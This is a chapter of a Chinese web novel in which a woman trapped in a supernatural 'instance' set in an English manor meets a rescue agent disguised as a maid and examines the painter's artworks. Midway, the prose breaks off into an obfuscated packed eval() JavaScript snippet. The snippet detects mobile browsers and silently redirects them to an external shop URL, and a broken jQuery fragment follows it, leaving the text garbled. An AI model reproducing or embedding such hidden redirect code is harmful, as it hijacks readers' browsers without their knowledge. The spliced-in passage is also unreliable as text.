文趣网 > 都市小说 > 我说没有最优解尼尔多隆吗 > 2. 艺术沙龙(2)
    以姜照蕴不算太贫瘠但也不算丰富的知识来看,这是一座真·豪宅。占地面积不知道有多大,但反正比她在现代的那个小公寓大了起码十倍不止。

    姜照蕴按照纸条上的指示,低声向伯爵夫人找了个借口说要去盥洗室,随后不久就有一个女仆受命来给她带路。

    女仆低着头,沉默地在她斜前方两步远无声地带路。姜照蕴一边跟着走,一边在思考些别的东西。

    那张纸条非常不对劲。由那张纸条提醒,她还发现了一些其他不对劲的地方。

    纸条是中文写的,她能看得懂很正常。但这个场景里的人,明显都是欧洲人,或者更准确一点,英国人。因为在她意识到语言问题之后,她猛然察觉,其实她一直在用英语和人对话。

    这就很诡异了。姜照蕴扪心自问,她大学英语虽然不是混过去的,但也只能算是个读写合格的哑巴英语选手。而刚才若不是纸条提醒,她甚至会以为英语是她的母语。

    感觉就好像有个什么东西,把一门外语给灌进了她的脑子一样。

    不,这么说不准确。应该说有什么东西把她的认知给篡改了。或者说,她在逐渐从“姜照蕴”变成“瑞秋·布兰德”。

    一点儿也没有不劳而获一门外语的畅快,只感觉到毛骨悚然。

    再大的豪宅也不是田径场。上了一个楼梯,又走了一段路,她和女仆似乎到了目的地了。

    女仆轻轻推开盥洗室的门,行礼示意她进去。

    进了门,里面不是姜照蕴想象的现代厕所,而是……一个小型休息室。沙发、落地镜一应俱全,甚至还有一个放置着一堆她不认识的瓶瓶罐罐的梳妆台。

    姜照蕴:“……”

    是她狭隘了,想象不了贵族的奢侈生活。

    背后的门被轻轻关上,姜照蕴回身,就见女仆一改之前低头无声的“隐形人”模样,肩背挺直了,头也抬起来了,双眼锐利有神,张嘴就是熟悉的中文:“你好,我的名字是张文杰,隶属于特别安全调查局探索员第九小队。”

    “……什么?”姜照蕴被这照面一串给打懵了。

    “我知道这很难理解,但现实是,你被副本给‘捕获’了,出不去就会死。我们是专门负责解救像你一样的受困者的……你理解为警察就好。”女仆,也就是张文杰像豌豆机枪射手一样快速地叭叭解释,“冒昧地问一下,您的名字是什么?”

    “……姜照蕴。”

    不等姜照蕴理顺思路,问她副本是什么、被困住又是什么意思,仿佛不需要喘气的张文杰又开始哒哒哒地向外发射信息:“好的,姜照蕴。请原谅,我没有冒犯的意思,只是名字是一个人最重要的锚点之一,我们以后都会直接用名字称呼你,也请你用名字称呼我们,当然,是在没有NPC……我是说,没有外人的时候。”

    “停停停!”姜照蕴赶紧喊停,忍不住腹诽这姑娘不用喘气的吗,“副本是什么?”

    “这个暂时不重要。”张文杰一句话把她的提问给按了下去,“重点是我们要怎么出去。方法很简单,找到异常点就行。异常点就是明显不属于这个场景的东西,只要有一个人触碰了异常点,副本里所有被困的人都能同一时间出去。如果你有任何关于异常点,或者其他的线索,请你在保证自身安全的前提下告诉我们。”

    “不是,你等等。”姜照蕴感觉自己仿佛被喷了一脸口水,忍不住伸手在眼前挥了挥,“异常点是什么样子的?我要怎么辨认?”

    “只要你看见了就能认出来。”张文杰一本正经地回答道,“异常点一般不会在很明显的地方,但也不会特别隐蔽,一般会出现在副本主要事件里,或是主要人物附近。不过找异常点是我们的责任,你只需要保证自己活下去,以及记住自己是谁就行了。这两点都很重要,尤其是不能忽略后者。你是姜照蕴,不是外国的贵族小姐。副本里的一切都是假的。只要你还活着,还保有自己的认知,我们就能想办法救你出去。”

    “……那个撞倒了男仆的,也是你们的人?”

    “对,他是我们的队长,叫李越。除了他,还有另一个男仆也是——不是被撞的那个,你的消息就是他传给我的。副本才刚开始没多久,其他队员我们还没有联系上。”张文杰抬手似乎是想要看时间,看到空荡荡的手腕后又放了下来,尴尬地蹭了蹭裙子,镇定地回身去开门,“时间紧迫,你消失太久了也会让人起疑心,赶紧回去吧。”

    “哎——不是,你等等。”姜照蕴赶忙飞身上前阻止她,“这种事随便找一个裙子弄脏了的借口就行了,你着什么急啊?”

    “不,在副本里,时间是十分宝贵的。”张文杰严肃道,“尤其这是一个换了身体,还有附属记忆的地狱副本,黄金通关时间只有24小时。超过24小时死亡概率会大大提升。”

    姜照蕴:“……你是新人吧?”

    张文杰严肃的表情瞬间裂开:“为什么这么说?”

    姜照蕴心说老兵油子才不会像你这么缺心眼,大喇喇地就把死线说出来。换一个心理素质不怎么样的,三个小时能给你闯出五个祸来,死线越近祸越大。

    “没什么。”姜照蕴决定不揭她的短,“我是说,我有线索。”

    姜照蕴给她讲了那片文盲版雨林和土著。张文杰听完,神色一凛,认可道:“你的经历非常有价值。你可能是进画里面去了,我们会注意这点的。你也记住,在副本里,发生什么离奇的超自然现象都有可能。”

    “你觉得画里的世界是画家威廉的心中世界吗?”

    “有这个可能。”

    姜照蕴双手抱胸:“你不觉得奇怪吗?一个亲身游历过热带殖民地的人,眼中的热带雨林却基本脱离现实,土著部落也充满了刻板印象。”

    “这不是很正常吗?”张文杰不以为然,“他是殖民者,还养尊处优,跑去殖民地蹲几个月当个噱头,镀个金,说不定都没见过真正的土著,然后回来走上人生巅峰。有什么奇怪的?”

    姜照蕴很想说你这也算是刻板印象,但张文杰说得也有道理——即使是被派往殖民地的官员或是去“淘金”的投机者,都很少会真的深入本地土著的生活。绅士们往往只会居住在已经西化的港口城市或已经建成的种植园大宅。

    比较反直觉的是,在大部分殖民地,砍树、开路、建种植园等活动几乎都由土著或引进劳工完成的。通常情况下,文明的绅士们不会深入雨林,既是因为他们不想脏了手,也是因为他们没那个本事——进雨林是真的要死人的。

    那么问题来了,既然不进雨林,殖民者的活动是如何吞没了土著的生存空间的?

    答案很简单也很“文明”,殖民政府会将某片土地收归政府,或直接授予某个种植园主。在法律上的剥夺后,接下来的行为就很“正当”了。其中往往还有土著酋长或地方头人作为中介。总之,大多数绅士们在殖民地极少接触真正的热带雨林和土著部落。

    所以张文杰说的“画家威廉镀金论”,其实拥有相当程度的现实基础。

    “但你不能用一个模式去套所有人。世界上唯一没有例外的事情就是凡事都有例外……算了。”姜照蕴翻了翻脑子,一时半会儿想不出什么反例,只能道,“那你记得把这个‘刻板印象’告诉你的队长。”

    张文杰不明所以地看了她一眼:“那当然。信息互通是很重要的,我们必然会抓紧一切机会交换情报。”

    “……行吧,我的话说完了。我们回去吧。”

    张文杰点点头,转身去开门。

    “副本吗……”姜照蕴喃喃自语。

    她是知道副本这个词的,在游戏里代指独立的小型区域,通常用于战斗。那这里的“副本”是什么意思?如果类比游戏的话,是不是她现在所在的这座宅邸是一个独立的小世界?

    姜照蕴看了看窗外的花园和远处的原野,摸了摸墙壁上的墙纸。

    这一切太真实了。即使她已经体验过超自然现象了,也很难真的把这一切当做是假的。

    回客厅沙龙的路上,姜照蕴发现这座大宅里其实挂着非常多的画作,只是她来的时候光顾着思考语言问题了,没注意到。

    画家威廉似乎十分喜爱风景画,从盥洗室到客厅这一路上的走廊和房间里挂着的画作大部分都是各式风景画,除了风景画,还有一些水果花瓶一类的静物和少数人像,基本都是常见题材。

    “这些都是成品吗?”姜照蕴问道。

    就像姜照蕴有瑞秋·布兰德的记忆,张文杰也有女仆的记忆,她回想了一下,小声回答道:“对。画家威廉不会把半成品挂出来。”

    “有点奇怪啊。”姜照蕴低声道,“有些画看着精致,有些却很粗糙,像是没画完。”

    “什么?”本来还在低头假装真正女仆的张文杰立刻抬头。

    姜照蕴眼神示意着一幅森林油画。因为她在副本之初进过一幅森林油画,出来之后仔细观察过那幅画,所以很能看得出来两幅画的区别。

    她进过的那幅森林油画比较“真”,树木都比较写实,像现实中的森林。用她那半瓶子晃荡的美术素养来看,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881330|212471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也可以腆着脸评价一句透视和光影非常到位。

    但现在眼前这幅森林油画……怎么说呢?像色彩平涂,或艳丽或黯淡的绿色拍出了一个个色块,再夹着点红色和褐色,有点脏,也有点假。透视和光影是一点也没有,清晰笨拙的线条勾出轮廓。所有树木挤挤挨挨地在一起,像一个小学生拿着新买的颜料糊弄给美术老师的作业。

    姜照蕴把她的想法告诉了张文杰。张文杰虽然没见过客厅那幅森林油画,但就面前这幅“小学生作品”,她的观看体验和姜照蕴差不多。都是直觉,不需要多少美术素养。

    “可能画家威廉找了个枪手。”张文杰猜测道。

    姜照蕴往后退了几步,仔细观察了另一幅油画:“技法和风格差别很大,确实不太像是一个人的作品。”说完她又补充了一句,“但我只是个业余水平,不用太相信我。”

    “没事,我们都是业余水平。”张文杰摆摆手,“副本的主题天上地下什么都有,没人能这么博学。绝大多数时候我们都是业余闯关。”

    “也不一定是枪手。”姜照蕴抱胸的手轻轻点着手臂,“也有可能是画家威廉受了什么刺激,突然转变了风格。他不是去热带殖民地游历过吗?据说还得到了很多灵感。”

    “你说得对。我们不能先入为主。”张文杰伸头张望着前后的画作,“不过这些画都是混着挂在一起的,按照正常人的思维来看,如果真的是同一个人画的,应该会分门别类吧?或者如果画家风格变化特别大的话,应该会更关注自己近期的画作,早期作品更接近‘黑历史’,不太可能这么混着摆。”

    “你说得也有道理。”姜照蕴沉吟了一下,突然想起来一件事,“张文杰,你有这个女仆的记忆吗?画家威廉是怎么决定在哪里挂哪些画的?”

    “啊?这个啊……”张文杰陷入了回忆中,一边想一边说,“这个女仆是去年刚来的,那时候画已经都挂出来了。不过根据仆人之间的传言,这房子原本是一个子爵的府邸,两年前子爵因为经营不善把它卖了,正好当时画家威廉出了名,赚了钱,就买下了这座房子。”

    姜照蕴:“那时候他已经从殖民地回来了?”

    “对。”张文杰点头,“两年的时间太短了。我推测,这些画的摆放方式都是画家威廉自己决定的,或者至少是默许。回头我去和其他仆人确认一下。”

    “还有一个可能。”姜照蕴朝着客厅沙龙的方向努了努嘴,“根据画家夫人的说法,画家威廉可能有一些‘天才的怪癖’。来了这么多尊贵的客人,他都不愿意出面。说不定是一个满脑子艺术,脱离世俗的怪胎。那他也有可能不在意这些画的排布。”

    “好,我知道了。”张文杰把这个可能也记了下来,又想抬起手看手表,抬一半反应了过来又放了下来,“你离开沙龙太久了,茶都要凉了。我们赶紧回去吧。”

    “好。”姜照蕴的视线离开画作,在走廊里四下扫视,突然发现了什么,她抬手指了指黏在天花板和墙壁夹角处的一块突兀的深红色圆饼,“那是什么?”

    边缘隆起,中间凹陷,看着不像灯。

    “那个啊,”张文杰顺着她指的方向看去,“我们也不知道。这东西在这座房子里很多地方都能看见,我问了其他女仆,她们也不知道。”她摇了摇头,“这种莫名其妙的奇怪线索在副本里很常见,有的有用,有的没用,能发现了记住也是一件好事。”

    姜照蕴点点头。她们已经离开沙龙太久了,再不回去,裙子脏了的借口就不好使了。

    果不其然,姜照蕴刚一回到布兰德伯爵夫人的视线里,就收获了一记瞪视。

    伯爵夫人语带责备:“怎么去了这么久?”

    姜照蕴赶紧赔笑:“巴里克先生的画作实在是太迷人了。我在走廊上看见了,就忍不住停下来欣赏了,那幅森林让我想起了以前在南方度过的日子。一时入迷忘了时间,是我失礼了。”

    这会儿画家夫人已经回来了,听了姜照蕴的话,立刻眉头舒展,笑容亲切了不少:“布兰德夫人,艺术和美本就是吸引人的,瑞秋这么可爱高雅的姑娘,就不要苛责她了吧?”

    伯爵夫人的脸色也缓和了,笑道:“巴里克先生的艺术造诣是公认的,看来我可以期待明年在皇家美术学院夏季展看见他的作品了。”

    眼见两人一唱一和地又聊了起来,姜照蕴拢了拢裙摆坐了下来,看来这关是过了。

    姜照蕴刚松了口气,身形突然一凝。

    她刚才准备的借口不是裙子脏了吗?怎么突然换成了欣赏画?